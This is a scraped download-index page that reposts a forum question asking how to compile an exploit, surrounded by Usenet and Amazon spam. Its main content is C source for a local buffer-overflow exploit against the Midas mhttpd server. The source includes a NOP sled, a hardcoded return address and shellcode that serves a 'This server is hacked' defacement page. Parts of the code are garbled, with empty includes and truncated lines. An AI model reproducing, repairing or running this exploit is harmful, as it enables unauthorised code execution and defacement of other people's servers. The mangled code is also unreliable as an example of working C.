How do i compile this exploit
Category: Uncategorized
<< Buy This Book on Amazon >>
175 views since 2007-05-31.
Description
btw,im using win98
#include
#include
#include
#include
#include
#include
#include
#define BUFFER_SIZE 280 + 8
#define NOP 0x90
#define RET 0xbfffc090
char shellcode[] =
"\xeb\x38\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x04"
"\xb1\x03\x89\x0e\xb1\x01\x89\x4e\x04\x89\xf1\xcd\x80\x31\xc0"
"\x43\x89\x46\x04\x89\x46\x08\xb0\x66\xcd\x80\x89\xc3\x8d\x4e"
"\x0c\xb2\x7a\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xe8\xc3"
"\xff\xff\xff\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43"
"\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b"
"\x0a\x53\x65\x72\x76\x65\x72\x3a\x20\x73\x61\x66\x65\x6d\x6f"
"\x64\x65\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
"\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0a\x0a\x3c\x48"
"\x54\x4d\x4c\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x32"
"\x3e\x21\x21\x20\x54\x68\x69\x73\x20\x73\x65\x72\x76\x65\x72"
"\x20\x69\x73\x20\x68\x61\x63\x6b\x65\x64\x20\x21\x21\x3c\x2f"
"\x68\x32\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x54\x4d"
"\x4c\x3e";
void print_error(char * burb) {
printf(" Error: %s !\n",burb); exit(0);
}
void usage(char *progname) {
printf("\n*--- -- - Midas mhttpd local b0f exploit - -- ---*\n");
printf("\nDefault: %s -f /path/to/mhttpd",progname);
printf("\nOption : %s -o
exit(0);
}
int main(int argc, char **argv){
char buffer[BUFFER_SIZE];
char file[40];
long retaddress;
int arg,offset=240;
int pid, fd = 0,port = 80;
struct stat sbuf;
if(argc < 2) { usage(argv[0]); }
while ((arg = getopt (argc, argv, "f
switch (arg){
case 'f':
strncpy(file,optarg,sizeof(file));
if(stat(argv[2], &sbuf)) { print_error("No such file");}
break;
case 'o':
offset = atoi(optarg);
if(offset < 0) { print_error("Offset must be positive");}
break;
default :
usage(argv[0]);
}
}
retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) +
/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8] = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4] = retaddress;
if((pid = fork()) == 0) {
sleep(2);
fd = connection("127.0.0.1",80);
write(fd,"GET /p00p HTTP/1.0\r\n\r\n",22);
} else {
setenv("MIDAS_DIR",buffer,1);
if(execl(file,file,"-p","80",NULL) != 0) {
}
}
return 0;
}
int connection(char* host, int port)
{
struct sockaddr_in s_in;
int sock;
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = inet_addr(host);
s_in.sin_port = htons(port);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Sorry, could not create a socket\n");
exit(1);
}
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}
return sock;
}
Download this book from Usenet
Free register and download UseNet downloader, then you can free download from UseNet.Free Download "How do i compile this exploit" from Usenet!
Buy this book from amazon
Disclaimer:
Contents of this page are indexed from the Internet. All actions are under your responsability. Email us to report illegal contents or external links and we'll remove them immediately.
Search More...
How do i compile this exploitLinks
Free Trade Magazine Subscriptions & Technical Document DownloadsSearch and Buy
<< Search and Buy This Book on Amazon >>
Download this book from Usenet
How to download:Free register to download UseNet downloader and install, then search book title and start downloading. You can DOWNLOAD 150GB for free! Register and Download NOW!
Free Download "How do i compile this exploit" from Usenet!
Download Link 2
No download links here
Please check the description for download links if any or do a search to find alternative books.Can't Download?
Please search mirrors if you can't find download links for "How do i compile this exploit" in "Description" and someone else may update the links. Check the comments when back to find any updates.
Search Mirrors
Maybe some mirror pages will be helpful, search this book at top of this page or click here to find more info.
Related Books
Books related to "How do i compile this exploit":
- Ebooks list page : 410
- Zero.Day.Exploit.Countdown.to.Darkness
- Zero Day Exploit Countdown to Darkness
- Zero Day Exploit: Countdown to Darkness by Rob Shein
- Zero Day Exploit: Countdown to Darkness by Rob Shein
- Sachs, "Zero-Day Exploit: Countdown to Darkness"
- Zero Day Exploit: Countdown to Darkness by Rob Shein
- Web Application Vulnerabilities: Detect, Exploit, Prevent
- Zero Day Exploit: Countdown to Darkness by Rob Shein (Repost)
- Web Application Vulnerabilities: Detect, Exploit, Prevent
- How to Exploit Digg and Make Easy Money eBook [PDF]
- Campaign Trading: Tactics and Strategies to Exploit the Markets
- Buffer Overflow Attacks - Detect, Exploit, Prevent
- Buffer Overflow Attacks - Detect, Exploit, Prevent
- Campaign Trading Tactics and Strategies to Exploit the Markets
- Campaign Trading: Tactics and Strategies to Exploit the Markets
Comments
No comments for "How do i compile this exploit".
Add Your Comments
- Download links and password may be in the description section, read description carefully!
- Do a search to find mirrors if no download links or dead links.



